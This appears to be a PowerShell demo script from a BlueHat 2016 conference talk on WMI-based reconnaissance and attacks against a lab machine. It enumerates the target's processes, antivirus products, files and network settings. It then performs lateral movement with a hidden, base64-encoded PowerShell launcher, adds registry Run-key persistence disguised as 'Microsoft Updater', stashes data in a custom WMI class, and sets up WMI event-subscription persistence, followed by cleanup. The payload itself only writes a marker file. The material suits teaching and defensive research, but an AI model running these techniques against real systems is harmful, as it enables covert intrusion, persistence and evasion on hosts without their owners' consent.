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BlueHat 2016 - WMI recon and attack demo
#############
### SETUP ###
#############
# Set up remote session
$Credential = Get-Credential TestUser
$AdminCred = Get-Credential Administrator
$SessionOption = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -Credential $Credential -ComputerName TestPC -SessionOption $SessionOption
$AdminCimSession = New-CimSession -Credential $AdminCred -ComputerName TestPC -SessionOption $SessionOption
# Simple test payload
$EvilPayload = {
Write-Host 'Applying updates...'
"You were owned at $([DateTime]::Now)" | Out-File (Join-Path $Env:TEMP result.txt) -Append
Start-Sleep -Seconds 2
}
$EvilEncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($EvilPayload))
$WeaponizedPayload = 'powershell -nop -noni -w hidden -enc CgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAEEAcABwAGwAeQBpAG4AZwAgAHUAcABkAGEAdABlAHMALgAuAC4AJwAKACAAIAAgACAAIgBZAG8AdQAgAHcAZQByAGUAIABvAHcAbgBlAGQAIABhAHQAIAAkACgAWwBEAGEAdABlAFQAaQBtAGUAXQA6ADoATgBvAHcAKQAiACAAfAAgAE8AdQB0AC0ARgBpAGwAZQAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEUAbgB2ADoAVABFAE0AUAAgAHIAZQBzAHUAbAB0AC4AdAB4AHQAKQAgAC0AQQBwAHAAZQBuAGQACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIACgA='
#############
### RECON ###
#############
#region Recon
# Determine operating system
Get-CimInstance -CimSession $CimSession -ClassName Win32_OperatingSystem | Format-List *
# List running processes and display command line invocation
Get-CimInstance -CimSession $CimSession -ClassName Win32_Process | Select-Object -Property ProcessId, ProcessName, CommandLine
# See what AV and Antispyware products are installed
Get-CimInstance -CimSession $CimSession -Namespace 'root/securitycenter2' -ClassName AntiVirusProduct
Get-CimInstance -CimSession $CimSession -Namespace 'root/securitycenter2' -ClassName AntiSpywareProduct
# List out all .doc files with the associated owner
Get-CimInstance -CimSession $CimSession -ClassName CIM_DataFile -Filter 'Path="\\docs\\" AND Extension="txt"' | % {
$FileSecuritySetting = Get-CimInstance -CimSession $CimSession -Query "ASSOCIATORS OF {CIM_DataFile.Name=`"$($_.Name.Replace('\','\\'))`"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile"
$FileACL = Invoke-CimMethod -CimSession $CimSession -InputObject $FileSecuritySetting -MethodName GetSecurityDescriptor | Select-Object -ExpandProperty Descriptor
$FileOwner = "{0}\{1}" -f $FileACL.Owner.Domain, $FileACL.Owner.Name
$DocProperties = [Ordered] @{
FileOwner = $FileOwner
FullPath = $_.Name
FileSize = $_.FileSize
Modified = $_.LastModified
Accessed = $_.LastAccessed
Created = $_.CreationDate
}
New-Object PSObject -Property $DocProperties
}
# Get information on all network adapters with a configured default gateway
Get-CimInstance -CimSession $CimSession -ClassName Win32_NetworkAdapter | % {
$Settings = Get-CimInstance -CimSession $CimSession -Query "ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID=`"$($_.DeviceID)`"} WHERE AssocClass=Win32_NetworkAdapterSetting"
$Adapter = $_
if ($Settings.IPAddress -and $Settings.DefaultIPGateway) {
$AdapterSettings = [Ordered] @{
Name = $Adapter.Name
MACAddress = $Adapter.MACAddress
IPAddress = $Settings.IPAddress
DefaultGateway = $Settings.DefaultIPGateway
}
New-Object PSObject -Property $AdapterSettings
}
}
#endregion
###############
### ATTACKS ###
###############
#region Attack: Lateral movement
Invoke-CimMethod -CimSession $CimSession -Namespace root/cimv2 -Class Win32_Process -Name Create -Arguments @{CommandLine=$WeaponizedPayload}
$PayloadResultFilter = 'Name="C:\\Users\\TestUser\\AppData\\Local\\Temp\\result.txt"'
$PayloadExecutionConfirmation = Get-CimInstance -CimSession $CimSession -ClassName CIM_DataFile -Filter $PayloadResultFilter
$PayloadExecutionConfirmation | fl *
#endregion
#region Attack: Perform registry persistence
$Arguments = @{
hDefKey = [UInt32] 2147483649 # HKCU
sSubKeyName = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
sValueName = 'Microsoft Updater'
sValue = $WeaponizedPayload
}
# Note: the order of arguments is very important
Invoke-CimMethod -CimSession $CimSession -Namespace root/default -Class StdRegProv -Name SetStringValue -Arguments $Arguments
#endregion
#region Attack: Create a WMI class and stuff data in it. APT28 TTP
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'Administrator'
$Options.Password = 'admin'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\TestPC\root\cimv2'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = "This is not the malware you're looking for"
$EvilClass.Put()
#endregion
#region Attack: WMI persistence
$TimerArgs = @{
IntervalBetweenEvents = ([UInt32] 10000) # Trigger every ten seconds
SkipIfPassed = $False
TimerId = 'PayloadTrigger'
}
$Timer = New-CimInstance -CimSession $CimSession -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments $TimerArgs
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'TimerTrigger'
Query = 'SELECT * FROM __TimerEvent WHERE TimerID = "PayloadTrigger"'
QueryLanguage = 'WQL'
}
$Filter = New-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName __EventFilter -Property $EventFilterArgs
$CommandLineConsumerArgs = @{
Name = 'ExecuteEvilPowerShell'
CommandLineTemplate = $WeaponizedPayload
}
$Consumer = New-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $CommandLineConsumerArgs
$FilterToConsumerArgs = @{
Filter = [Ref] $Filter
Consumer = [Ref] $Consumer
}
$FilterToConsumerBinding = New-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
#endregion
###############
### CLEANUP ###
###############
#region Cleanup
# Remove registry persistence
$Arguments = @{
hDefKey = [UInt32] 2147483649 # HKCU
sSubKeyName = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
sValueName = 'Microsoft Updater'
}
# Note: the order of arguments is very important
Invoke-CimMethod -CimSession $CimSession -Namespace root/default -Class StdRegProv -Name DeleteValue -Arguments $Arguments
# Remove permanent WMI artifacts
Get-CimInstance -CimSession $CimSession -Namespace root/cimv2 -ClassName __IntervalTimerInstruction -Filter 'TimerId="PayloadTrigger"' | Remove-CimInstance
Get-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName __EventFilter | Remove-CimInstance
Get-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName __EventConsumer | Remove-CimInstance
Get-CimInstance -CimSession $CimSession -Namespace root/subscription -ClassName __FilterToConsumerBinding | Remove-CimInstance
# Delete the malicious WMI class
$EvilClass.Delete()
$PayloadResultFilter = 'Name="C:\\Users\\TestUser\\AppData\\Local\\Temp\\result.txt"'
$PayloadExecutionConfirmation = Get-CimInstance -CimSession $AdminCimSession -ClassName CIM_DataFile -Filter $PayloadResultFilter
Invoke-CimMethod -CimSession $AdminCimSession -InputObject $PayloadExecutionConfirmation -MethodName Delete
# Delete payload execution artifacts
$PayloadResultFilter = 'Name="C:\\Windows\\Temp\\result.txt"'
$PayloadExecutionConfirmation = Get-CimInstance -CimSession $AdminCimSession -ClassName CIM_DataFile -Filter $PayloadResultFilter
Invoke-CimMethod -CimSession $AdminCimSession -InputObject $PayloadExecutionConfirmation -MethodName Delete
#endregion
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